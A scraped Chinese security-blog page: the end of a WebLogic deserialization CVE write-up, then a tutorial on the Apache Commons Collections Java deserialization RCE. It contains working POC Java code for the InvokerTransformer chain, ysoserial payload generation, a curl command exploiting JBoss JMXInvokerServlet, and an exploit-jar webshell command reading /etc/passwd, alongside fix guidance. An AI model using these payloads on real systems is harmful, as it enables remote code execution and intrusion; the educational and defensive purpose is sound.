    https://blogs.oracle.com/security/entry/security_alert_cve_2015_4852

     

    3.2 CVE-2016-0638

    漏洞位置,在readExternal位置

     

    补丁,加了一个FilteringObjectInputStream过滤接口

     

    3.3 CVE-2017-3248

    根据JRMPListener来构造的,从补丁也可以看出,在resolveClassresolveProxyClass都设置了黑名单。

     

     

    3.4 CVE-2017-3506&CVE-2017-10271

    概述:

    CVE-2017-10271 是3506的绕过。

    漏洞在WLS-WebServices这个组件中,基于WLS wsat模块,核心就是XMLDecoder的反序列化漏洞Java 调用XMLDecoder解析XML文件的时候,存在命令执行漏洞。

    当前市面上挖矿主力军。

     

    案例:

    xmldecoder.xml

     

    利用Java的XMLDecoder解析这个xml文件

     

    这段代码执行后,直接删除了本地的e:\1.txt文件,相当于在命令行调用了cmd /c del e:\1.txt命令。Jdk中的XmlDecoder反序列化能调用本地的应用,也能执行系统支持的命令

     

    漏洞分析:

    漏洞出现在wls-wsat.war中,此组件使用了weblogic自带的webservices处理程序来处理SOAP请求weblogic.wsee.jaxws.workcontext.WorkContextServerTube

    获取XML数据传递给XMLDecoder来解析。

     

    实例化了WorkContextXmlInputAdapter类,并且将获取到的XML格式的序列化数据传递到此类的构造方法中,最后通过XMLDecoder来进行反序列化操作。

     

     

    漏洞复现:

    抓包:

     

    工具:

    java -jar WebLogic_Wls-Wsat_RCE_Exp.jar http://192.168.43.100:7001 test.jsp

     

     

    http://192.168.43.100:7001/bea_wls_internal/test.jsp?password=secfree&command=cat%20/etc/passwd

     

    修复:

    1、建议不要用JDK中的XmlDeocder类,寻求其它更安全的xml解析工具类,考虑是否删除WLS-WebServices组件

    2、官方修复:补丁限定了object,new,method,void,array等字段,限定了不能生成java 实例

     

    参考:

    https://github.com/Tom4t0/Tom4t0.github.io/blob/29314ca531f23e9e245bad9516c5d4e4c63756f2/_posts/2017-12-22-WebLogic%20WLS-WebServices%E7%BB%84%E4%BB%B6%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.md

    3.5 CVE-2018-2628

    影响版本:

    Oracle WebLogic Server10.3.6.0

    Oracle WebLogic Server12.2.1.2

    Oracle WebLogic Server12.2.1.3

    Oracle WebLogic Server12.1.3.0

     

     

    漏洞分析:

    1.反射机制

    JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。

    2.RMI

    RMIRemote Method Invocation的简称,是J2SE的一部分,能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。

    RMI传输过程都使用序列化和反序列化,如果RMI服务端端口对外开发,并且服务端使用了像Apache Commons Collections这类库,那么会导致远程命令执行。

    RMI依赖于Java远程消息交换协议JRMPJava Remote Messaging Protocol),该协议为java定制,要求服务端与客户端都为java编写。

    3.绕过黑名单

    Weblogic InboundMsgAbbrev resolveProxyClass处理rmi接口类型,因为只判断了java.rmi.registry.Registry  ,找一个其他的rmi接口绕过,比如java.rmi.activation.ActivatorRMI 对象激活提供支持。

    漏洞扫描:

     

     

    复现过程:

     

    首先服务端监听ysoserial,上面的反射代码被集成到了ysoserial工具中的CommonsCollections payload中,最终依然是sun.reflect.annotation.AnnotationInvocationHandler

     

    攻击端生成payload,接口用java.rmi.registry.Registry

    4、漏洞挖掘

     

    基本手段:

    从可控数据的反序列化或间接的反序列化接口入手,在此基础上尝试构造序列化对象。

     

    首先拿到一个Java应用,需要找到一个接受外部输入的序列化对象的接收点,即反序列化漏洞的触发点。我们可以通过审计源码中对反序列化函数的调用(例如readObject())来寻找,也可以直接通过对应用交互流量进行抓包,查看流量中是否包含java序列化数据来判断,java序列化数据的特征为以标记(ac ed 00 05)开头。

     

    确定了反序列化输入点后,再考察应用的Class Path中是否包含Apache Commons Collections库(ysoserial所支持的其他库亦可),如果是,就可以使用ysoserial来生成反序列化的payload,指定库名和想要执行的命令即可:

    通过先前找到的传入对象方式进行对象注入,数据中载入payload,触发受影响应用中ObjectInputStream的反序列化操作,随后通过反射调用Runtime.getRunTime.exec即可完成利用。

     

     

    5、防御手段

    5.1 weblogic防御

    • 过滤T3协议,限定可连接的IP
    • 设置Nginx反向代理,实现t3协议和http协议隔离
    • JEP290(JDK8u121,7u131,6u141),这个机制主要是在每层反序列化过程中都加了一层黑名单处理

    5.2 原生反序列化防御

    • 不要反序列化不可信的数据
    • 给反序列数据加密签名,并确保解密在反序列之前
    • 给反序列化接口添加认证授权
    • 反序列化服务只允许监听在本地或者开启相应防火墙
    • 升级第三方库
    • 升级JDK,JEP290

     

     

    参考:

    https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/#h4.2_weblogic

    http://xxlegend.com/2018/04/18/CVE-2018-2628%20%E7%AE%80%E5%8D%95%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%88%86%E6%9E%90/

    http://pirogue.org/2017/12/29/weblogic-XMLDecoder/

    https://paper.seebug.org/333/3248

     

     

    ——by Jayway

    展开全文
  • Java反序列漏洞分析

    千次阅读 2018-04-28 16:50:28
    Java反序列漏洞分析相关学习资料 http://www.freebuf.com/vuls/90840.html  https://security.tencent.com/index.php/blog/msg/97  http://www.tuicool.com/articles/ZvMbIne  ...

    Java反序列化漏洞分析

    相关学习资料

     

      http://www.freebuf.com/vuls/90840.html
      https://security.tencent.com/index.php/blog/msg/97
      http://www.tuicool.com/articles/ZvMbIne
      http://www.freebuf.com/vuls/86566.html
      http://sec.chinabyte.com/435/13618435.shtml
      http://www.myhack58.com/Article/html/3/62/2015/69493_2.htm
      http://blog.nsfocus.net/java-deserialization-vulnerability-comments/
      http://www.ijiandao.com/safe/cto/18152.html
      https://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/
      http://www.cnblogs.com/dongchi/p/4796188.html
      https://blog.chaitin.com/2015-11-11_java_unserialize_rce/?from=timeline&isappinstalled=0#h4_漏洞利用实例 

    目录

    1. 背景
    2. 认识java序列化与反序列化
    3. 理解漏洞的产生
    4. POC构造
    5. 实际漏洞环境测试
    6. 总结 

     背景

      2015年11月6日FoxGlove Security安全团队的@breenmachine 发布了一篇长博客,阐述了利用Java反序列化和Apache Commons Collections这一基础类库实现远程命令执行的真实案例,各大Java Web Server纷纷躺枪,这个漏洞横扫WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。而在将近10个月前, Gabriel Lawrence 和Chris Frohoff 就已经在AppSecCali上的一个报告里提到了这个漏洞利用思路。 

      目前,针对这个"2015年最被低估"的漏洞,各大受影响的Java应用厂商陆续发布了修复后的版本,Apache Commons Collections项目也对存在漏洞的类库进行了一定的安全处理。但是网络上仍有大量网站受此漏洞影响。


     

     

    认识Java序列化与反序列化

    定义:

     

      序列化就是把对象的状态信息转换为字节序列(即可以存储或传输的形式)过程
      反序列化即逆过程,由字节流还原成对象
      注: 字节序是指多字节数据在计算机内存中存储或者网络传输时各字节的存储顺序。

     

    用途: 

      1) 把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;
      2) 在网络上传送对象的字节序列。

     应用场景:

      1) 一般来说,服务器启动后,就不会再关闭了,但是如果逼不得已需要重启,而用户会话还在进行相应的操作,这时就需要使用序列化将session信息保存起来放在硬盘,服务器重启后,又重新加载。这样就保证了用户信息不会丢失,实现永久化保存。

      2) 在很多应用中,需要对某些对象进行序列化,让它们离开内存空间,入住物理硬盘,以便减轻内存压力或便于长期保存。

        比如最常见的是Web服务器中的Session对象,当有 10万用户并发访问,就有可能出现10万个Session对象,内存可能吃不消,于是Web容器就会把一些seesion先序列化到硬盘中,等要用了,再把保存在硬盘中的对象还原到内存中。

      例子: 淘宝每年都会有定时抢购的活动,很多用户会提前登录等待,长时间不进行操作,一致保存在内存中,而到达指定时刻,几十万用户并发访问,就可能会有几十万个session,内存可能吃不消。这时就需要进行对象的活化、钝化,让其在闲置的时候离开内存,将信息保存至硬盘,等要用的时候,就重新加载进内存。

     


     

    Java中的API实现: 

      位置: Java.io.ObjectOutputStream   java.io.ObjectInputStream

      序列化:  ObjectOutputStream类 --> writeObject()

            注:该方法对参数指定的obj对象进行序列化,把字节序列写到一个目标输出流中

              按Java的标准约定是给文件一个.ser扩展名

      反序列化: ObjectInputStream类 --> readObject()   

             注:该方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。

    简单测试代码:

    import java.io.*;
    
    /*
    import java.io.ObjectOutputStream;
    import java.io.ObjectInputStream;
    import java.io.FileOutputStream;
    import java.io.FileInputStream;
    */
    
    public class Java_Test{
    
        public static void main(String args[]) throws Exception {
            String obj = "ls ";
    
            // 将序列化对象写入文件object.txt中
            FileOutputStream fos = new FileOutputStream("aa.ser");
            ObjectOutputStream os = new ObjectOutputStream(fos);
            os.writeObject(obj);
            os.close();
    
            // 从文件object.txt中读取数据
            FileInputStream fis = new FileInputStream("aa.ser");
            ObjectInputStream ois = new ObjectInputStream(fis);
    
            // 通过反序列化恢复对象obj
            String obj2 = (String)ois.readObject();
            System.out.println(obj2);
            ois.close();
        }
    
    }

      我们可以看到,先通过输入流创建一个文件,再调用ObjectOutputStream类的 writeObject方法把序列化的数据写入该文件;然后调ObjectInputStream类的readObject方法反序列化数据并打印数据内容。

     

      实现Serializable和Externalizable接口的类的对象才能被序列化。

      Externalizable接口继承自 Serializable接口,实现Externalizable接口的类完全由自身来控制序列化的行为,而仅实现Serializable接口的类可以采用默认的序列化方式 。
      对象序列化包括如下步骤:
      1) 创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流;
      2) 通过对象输出流的writeObject()方法写对象。

      对象反序列化的步骤如下:
      1) 创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流;
      2) 通过对象输入流的readObject()方法读取对象。

    代码实例

      我们创建一个Person接口,然后写两个方法:
        序列化方法: 创建一个Person实例,调用函数为其三个成员变量赋值,通过writeObject方法把该对象序列化,写入Person.txt文件中     反序列化方法:调用readObject方法,返回一个经过饭序列化处理的对象   在测试主类里面,我们先序列化Person实例对象,然后又反序列化该对象,最后调用函数获取各个成员变量的值。

    测试代码如下:

    import java.io.File;
    import java.io.FileInputStream;
    import java.io.FileNotFoundException;
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.text.MessageFormat;
    import java.io.Serializable;
    
    class Person implements Serializable {
    
        /**
         * 序列化ID
         */
        private static final long serialVersionUID = -5809782578272943999L;
        
        
        private int age;
        private String name;
        private String sex;
        
        public int getAge() {
            return age;
        }
    
        public String getName() {
            return name;
        }
    
        public String getSex() {
            return sex;
        }
    
        public void setAge(int age) {
            this.age = age;
        }
    
        public void setName(String name) {
            this.name = name;
        }
    
        public void setSex(String sex) {
            this.sex = sex;
        }
    }
    
    /**
     * <p>ClassName: SerializeAndDeserialize<p>
     * <p>Description: 测试对象的序列化和反序列<p>
     */
    public class SerializeDeserialize_readObject {
    
        public static void main(String[] args) throws Exception {
            SerializePerson();//序列化Person对象
            Person p = DeserializePerson();//反序列Perons对象
            System.out.println(MessageFormat.format("name={0},age={1},sex={2}",
                                                     p.getName(), p.getAge(), p.getSex()));
        }
    
        /**
         * MethodName: SerializePerson
         * Description: 序列化Person对象
         */
        private static void SerializePerson() throws FileNotFoundException,
                IOException {
            Person person = new Person();
            person.setName("ssooking");
            person.setAge(20);
            person.setSex("男");
            // ObjectOutputStream 对象输出流,将Person对象存储到Person.txt文件中,完成对Person对象的序列化操作
            ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(
                    new File("Person.txt")));
            oo.writeObject(person);
            System.out.println("Person对象序列化成功!");
            oo.close();
        }
    
        /**
         * MethodName: DeserializePerson
         * Description: 反序列Perons对象
         */
        private static Person DeserializePerson() throws Exception, IOException {
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("Person.txt")));
            /*
                FileInputStream fis = new FileInputStream("Person.txt"); 
                ObjectInputStream ois = new ObjectInputStream(fis);
            */
            Person person = (Person) ois.readObject();
            System.out.println("Person对象反序列化成功!");
            return person;
        }
    
    }

     漏洞是怎么来的呢?

      我们既然已经知道了序列化与反序列化的过程,那么如果反序列化的时候,这些即将被反序列化的数据是我们特殊构造的呢!

      如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。


     漏洞分析

    从Apache Commons Collections说起

    项目地址
    官网:    http:
    //commons.apache.org/proper/commons-collections/ Github:  https://github.com/apache/commons-collections

       由于对java序列化/反序列化的需求,开发过程中常使用一些公共库。

       Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库。它包含有很多jar工具包如下图所示,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。

      org.apache.commons.collections提供一个类包来扩展和增加标准的Java的collection框架,也就是说这些扩展也属于collection的基本概念,只是功能不同罢了。Java中的collection可以理解为一组对象,collection里面的对象称为collection的对象。具象的collection为set,list,queue等等,它们是集合类型。换一种理解方式,collection是set,list,queue的抽象。

       

      作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发,而正是因为在大量web应用程序中这些类的实现以及方法的调用,导致了反序列化用漏洞的普遍性和严重性。 

       Apache Commons Collections中有一个特殊的接口,其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer。

    JAVA反射机制
        在运行状态中:
          对于任意一个类,都能够判断一个对象所属的类;
          对于任意一个类,都能够知道这个类的所有属性和方法;
          对于任意一个对象,都能够调用它的任意一个方法和属性;
        这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。

       这里涉及到了很多概念,不要着急,接下来我们就来详细的分析一下。


     POC构造

      经过对前面序列与反序列化的了解,我们蠢蠢欲动。那么怎样利用这个漏洞呢?

      一丁点儿思路:

        构造一个对象 —— 反序列化 —— 提交数据

      OK? 我们现在遇到的关键问题是: 什么样对象符合条件?如何执行命令?怎样让它在被反序列化的时候执行命令?

      首先,我们可以知道,要想在java中调用外部命令,可以使用这个函数 Runtime.getRuntime().exec(),然而,我们现在需要先找到一个对象,可以存储并在特定情况下执行我们的命令。

    (1)Map类 --> TransformedMap

      Map类是存储键值对的数据结构。 Apache Commons Collections中实现了TransformedMap ,该类可以在一个元素被添加/删除/或是被修改时(即key或value:集合中的数据存储形式即是一个索引对应一个值,就像身份证与人的关系那样),会调用transform方法自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义。也就是说,TransformedMap类中的数据发生改变时,可以自动对进行一些特殊的变换,比如在数据被修改时,把它改回来; 或者在数据改变时,进行一些我们提前设定好的操作。

      至于会进行怎样的操作或变换,这是由我们提前设定的,这个叫做transform。等会我们就来了解一下transform。

      我们可以通过TransformedMap.decorate()方法获得一个TransformedMap的实例

    TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
    
        第一个参数为待转化的Map对象
        第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
        第三个参数为Map对象内的value要经过的转化方法

     

    (2)Transformer接口 

    Defines a functor interface implemented by classes that transform one object into another.
    作用:接口于Transformer的类都具备把一个对象转化为另一个对象的功能

    transform的源代码

     我们可以看到该类接收一个对象,获取该对象的名称,然后调用了一个invoke反射方法。另外,多个Transformer还能串起来,形成ChainedTransformer。当触发时,ChainedTransformer可以按顺序调用一系列的变换。

    下面是一些实现Transformer接口的类,箭头标注的是我们会用到的。

     

    ConstantTransformer
    把一个对象转化为常量,并返回。
    InvokerTransformer 通过反射,返回一个对象 ChainedTransformer ChainedTransformer为链式的Transformer,会挨个执行我们定义Transformer

     

      Apache Commons Collections中已经实现了一些常见的Transformer,其中有一个可以通过Java的反射机制来调用任意函数,叫做InvokerTransformer,代码如下:

    public class InvokerTransformer implements Transformer, Serializable {
    
    ...
    
        /*
            Input参数为要进行反射的对象,
            iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型
            iArgs为对应方法的参数
            在invokeTransformer这个类的构造函数中我们可以发现,这三个参数均为可控参数
        */
        public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
            super();
            iMethodName = methodName;
            iParamTypes = paramTypes;
            iArgs = args;
        }
    
        public Object transform(Object input) {
            if (input == null) {
                return null;
            }
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(iMethodName, iParamTypes);
                return method.invoke(input, iArgs);
    
            } catch (NoSuchMethodException ex) {
                throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException ex) {
                throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException ex) {
                throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
            }
        }
    
    }

    只需要传入方法名、参数类型和参数,即可调用任意函数。

      在这里,我们可以看到,先用ConstantTransformer()获取了Runtime类,接着反射调用getRuntime函数,再调用getRuntime的exec()函数,执行命令""。依次调用关系为: Runtime --> getRuntime --> exec()

      因此,我们要提前构造 ChainedTransformer链,它会按照我们设定的顺序依次调用Runtime, getRuntime,exec函数,进而执行命令。正式开始时,我们先构造一个TransformeMap实例,然后想办法修改它其中的数据,使其自动调用tansform()方法进行特定的变换(即我们之前设定好的)

      再理一遍:

      1)构造一个Map和一个能够执行代码的ChainedTransformer,
      2)生成一个TransformedMap实例
      3)利用MapEntry的setValue()函数对TransformedMap中的键值进行修改
      4)触发我们构造的之前构造的链式Transforme(即ChainedTransformer)进行自动转换

    知识补充

    Map是java中的接口,Map.Entry是Map的一个内部接口。
    Map提供了一些常用方法,如keySet()、entrySet()等方法。
    keySet()方法返回值是Map中key值的集合;
    entrySet()的返回值也是返回一个Set集合,此集合的类型为Map.Entry。
    Map.Entry是Map声明的一个内部接口,此接口为泛型,定义为Entry<K,V>。它表示Map中的一个实体(一个key-value对)。
    接口中有getKey(),getValue方法,可以用来对集合中的元素进行修改

    我们可以实现这个思路

    public static void main(String[] args) throws Exception {
        //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[] {String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", 
                new Class[] {Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
            new InvokerTransformer("exec", 
                new Class[] {String.class }, new Object[] {"calc.exe"})};
    
        //首先构造一个Map和一个能够执行代码的ChainedTransformer,以此生成一个TransformedMap
        Transformer transformedChain = new ChainedTransformer(transformers);
    
        Map innerMap = new hashMap();
        innerMap.put("1", "zhang");
    
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        //触发Map中的MapEntry产生修改(例如setValue()函数
        Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
        
        onlyElement.setValue("foobar");
        /*代码运行到setValue()时,就会触发ChainedTransformer中的一系列变换函数:
           首先通过ConstantTransformer获得Runtime类
           进一步通过反射调用getMethod找到invoke函数
           最后再运行命令calc.exe。
        */
    }

    思考

    目前的构造还需要依赖于Map中某一项去调用setValue() 怎样才能在调用readObject()方法时直接触发执行呢?

    更近一步

      我们知道,如果一个类的方法被重写,那么在调用这个函数时,会优先调用经过修改的方法。因此,如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,且这个Map变量是可控的,我么就可以实现攻击目标。

      于是,我们开始寻寻觅觅,终于,我们找到了~

      AnnotationInvocationHandler类

    这个类有一个成员变量memberValues是Map类型 
    更棒的是,AnnotationInvocationHandler的readObject()函数中对memberValues的每一项调用了setValue()函数对value值进行一些变换。

     

      这个类完全符合我们的要求,那么,我们的思路就非常清晰了

      1)首先构造一个Map和一个能够执行代码的ChainedTransformer,
      2)生成一个TransformedMap实例
      3)实例化AnnotationInvocationHandler,并对其进行序列化,
      4)当触发readObject()反序列化的时候,就能实现命令执行。

      POC执行流程为 TransformedMap->AnnotationInvocationHandler.readObject()->setValue()- 漏洞成功触发

    我们回顾下所有用到的技术细节

    (1)java方法重写:如果一个类的方法被重写,那么调用该方法时优先调用该方法
    
    (2)JAVA反射机制:在运行状态中
                 对于任意一个类,都能够判断一个对象所属的类;
                 对于任意一个类,都能够知道这个类的所有属性和方法;
                  对于任意一个对象,都能够调用它的任意一个方法和属性;
    (3)认识关键类与函数
        TransformedMap :      利用其value修改时触发transform()的特性
        ChainedTransformer: 会挨个执行我们定义的Transformer
        Transformer:                 存放我们要执行的命令
        AnnotationInvocationHandler:对memberValues的每一项调用了setValue()函数

    具体实现

    import java.io.File;
    import java.io.FileInputStream;
    import java.io.FileNotFoundException;
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.annotation.Retention;
    import java.lang.reflect.Constructor;
    import java.util.HashMap;
    import java.util.Map;
    import java.util.Map.Entry;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    
    
    
    public class POC_Test{
        public static void main(String[] args) throws Exception {
            //execArgs: 待执行的命令数组
            //String[] execArgs = new String[] { "sh", "-c", "whoami &gt; /tmp/fuck" };
    
            //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
            Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                /*
                由于Method类的invoke(Object obj,Object args[])方法的定义
                所以在反射内写new Class[] {Object.class, Object[].class }
                正常POC流程举例:
                ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
                */
                new InvokerTransformer(
                    "getMethod",
                    new Class[] {String.class, Class[].class },
                    new Object[] {"getRuntime", new Class[0] }
                ),
                new InvokerTransformer(
                    "invoke",
                    new Class[] {Object.class,Object[].class }, 
                    new Object[] {null, null }
                ),
                new InvokerTransformer(
                    "exec",
                    new Class[] {String[].class },
                    new Object[] { "whoami" }
                    //new Object[] { execArgs } 
                )
            };
    
            //transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
            Transformer transformedChain = new ChainedTransformer(transformers);
    
            //BeforeTransformerMap: Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict
            //Map&lt;String, String&gt; BeforeTransformerMap = new HashMap&lt;String, String&gt;();
            Map<String,String> BeforeTransformerMap = new HashMap<String,String>();
    
            BeforeTransformerMap.put("hello", "hello");
    
            //Map数据结构,转换后的Map
           /*
           TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
                第一个参数为待转化的Map对象
                第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
                第三个参数为Map对象内的value要经过的转化方法。
           */
            //TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));
            Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
    
            Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    
            Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
            ctor.setAccessible(true);
            Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
    
            File f = new File("temp.bin");
            ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
            out.writeObject(instance);
        }
    }
    
    /*
    思路:构建BeforeTransformerMap的键值对,为其赋值,
         利用TransformedMap的decorate方法,对Map数据结构的key/value进行transforme
         对BeforeTransformerMap的value进行转换,当BeforeTransformerMap的value执行完一个完整转换链,就完成了命令执行
    
         执行本质: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........)
         利用反射调用Runtime() 执行了一段系统命令, Runtime.getRuntime().exec()
    
    */

     

    漏洞挖掘 

    1.漏洞触发场景
       在java编写的web应用与web服务器间java通常会发送大量的序列化对象例如以下场景:
      1)HTTP请求中的参数,cookies以及Parameters。
      2)RMI协议,被广泛使用的RMI协议完全基于序列化
      4)JMX 同样用于处理序列化对象
      5)自定义协议 用来接收与发送原始的java对象
    
    2. 漏洞挖掘
      (1)确定反序列化输入点
        首先应找出readObject方法调用,在找到之后进行下一步的注入操作。一般可以通过以下方法进行查找:
          1)源码审计:寻找可以利用的“靶点”,即确定调用反序列化函数readObject的调用地点。
           2)对该应用进行网络行为抓包,寻找序列化数据,如wireshark,tcpdump等
         注: java序列化的数据一般会以标记(ac ed 00 05开头,base64编码后的特征为rO0AB。
      (2)再考察应用的Class Path中是否包含Apache Commons Collections库
      (3)生成反序列化的payload
      (4)提交我们的payload数据

     

    相关工具

      ysoserial是一个用我们刚才的思路生成序列化payload数据的工具。当中针对Apache Commons Collections 3的payload也是基于TransformedMapInvokerTransformer来构造的,然而在触发时,并没有采用上文介绍的AnnotationInvocationHandler,而是使用了java.lang.reflect.Proxy中的相关代码来实现触发。此处不再做深入分析,有兴趣的读者可以参考ysoserial的源码。

    获取方法
    去github上下载jar发行版:https:
    //github.com/frohoff/ysoserial/releases wget https://github.com/frohoff/ysoserial/releases/download/v0.0.2/ysoserial-0.0.2-all.jar 或者自行编译: git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn package -DskipTests

     

    相关Tool链接

      https://github.com/frohoff/ysoserial

      https://github.com/CaledoniaProject/jenkins-cli-exploit 

      https://github.com/foxglovesec/JavaUnserializeExploits

    ysoserial
    去github上下载jar发行版:https://github.com/frohoff/ysoserial/releases
    或者自行编译:
    git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn package -DskipTests
    没有mvn的话需要先安装:sudo apt-get install maven

     


     

    实际漏洞环境测试

    JBOSS
    
    JBoss是一个管理和运行EJB项目的容器和服务器
    
    Enterprise JavaBean (EJB)规范定义了开发和部署基于事务性、分布式对象应用程序的服务器端软件组件的体系结构。
    企业组织可以构建它们自己的组件,或从第三方供应商购买组件。
    这些服务器端组件称作 Enterprise Bean,它们是 Enterprise JavaBean 容器中驻留的分布式对象,为分布在网络中的客户机提供远程服务。

    实际测试版本

    Jboss6.1
    
    Download: http://jbossas.jboss.org/downloads/
    Unzip: unzip jboss-as-7.1.1.Final.zip
    
    修改配置文件,修改默认访问端口,设置外部可访问
     vi  /server/default/deploy/jbossweb.sar/server.xml
    
    
    运行服务
    iptables -I INPUT -p tcp --dport 80 -j ACCEPT
    sh jbosspath/bin/run.sh -b 0.0.0.0        
    
    关闭服务器
    sh jbosspath/bin/shutdown.sh -S
    
    测试
    http://ip:8080
    http://ip:8080/web-console

     补充:CentOS默认开启了防火墙,所以80端口是不能正常访问的),输入命令:
     iptables -I INPUT -p tcp --dport 80 -j ACCEPT

     

     

      这里以Jboss为例。Jboss利用的是HTTP协议,可以在任何端口上运行,默认安装在8080端口中。

      Jboss与“JMXInvokerServlet”的通信过程中存在一个公开漏洞。JMX是一个java的管理协议,在Jboss中的JMXInvokerServlet可以使用HTTP协议与其进行通话。这一通信功能依赖于java的序列化类。在默认安装的Jboss中,JMXInvokerServlet的路径恰好为http://localhost:8080/invoker/JMXInvokerServlet。

      如果用户访问一个该url,实际上会返回一个原始的java对象,这种行为显然存在一个漏洞。但由于jmxinvokerservlet与主要的Web应用程序在同一个端口上运行,因此它很少被防火墙所拦截这个漏洞可以很经常的通过互联网被利用。

      因此,可以以jmx作为Jboss接受外部输入的点,可以利用java HTTP client包构建POST请求,post请求包中数据为使用ysoserial处理之后的构建代码

    通常的测试可以使用的命令

    搜索匹配"readObject"靶点
       grep -nr "readObject" * 测试是否含该漏洞的jar包文件 grep -R InvokerTransformer 生成序列化payload数据 java -jar ysoserial-0.0.4-all.jar CommonsCollections1 '想要执行的命令' > payload.out 提交payload数据   curl --header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue' --data-binary '@payload.out' http://ip:8080/invoker/JMXInvokerServlet
    exploit例子
    java -jar  ysoserial-0.0.2-all.jar   CommonsCollections1  'echo 1 > /tmp/pwned'  >  payload
    curl --header 'Content-Type: application/x-java-serialized-object; class="org".jboss.invocation.MarshalledValue' --data-binary '@/tmp/payload' http://127.0.0.1:8080/invoker/JMXInvokerServlet

    我们提交payload数据时,可以抓取数据包进行分析,看起来大概像这个样子(图片不是自己环境测试中的)

     


     

    总结

    漏洞分析
      引发:如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。   
      原因: 类ObjectInputStream在反序列化时,没有对生成的对象的输入做限制,使攻击者利用反射调用函数进行任意命令执行。      CommonsCollections组件中对于集合的操作存在可以进行反射调用的方法   
      根源:Apache Commons Collections允许链式的任意的类函数反射调用      问题函数:org.apache.commons.collections.Transformer接口   利用:要利用Java反序列化漏洞,需要在进行反序列化的地方传入攻击者的序列化代码。
      思路:攻击者通过允许Java序列化协议的端口,把序列化的攻击代码上传到服务器上,再由Apache Commons Collections里的TransformedMap来执行。   至于如何使用这个漏洞对系统发起攻击,举一个简单的思路,通过本地java程序将一个带有后门漏洞的jsp(一般来说这个jsp里的代码会是文件上传和网页版的SHELL)序列化,
    将序列化后的二进制流发送给有这个漏洞的服务器,服务器会反序列化该数据的并生成一个webshell文件,然后就可以直接访问这个生成的webshell文件进行进一步利用。
     

     启发

    开发者:
      为了确保序列化的安全性,可以对于一些敏感信息加密;
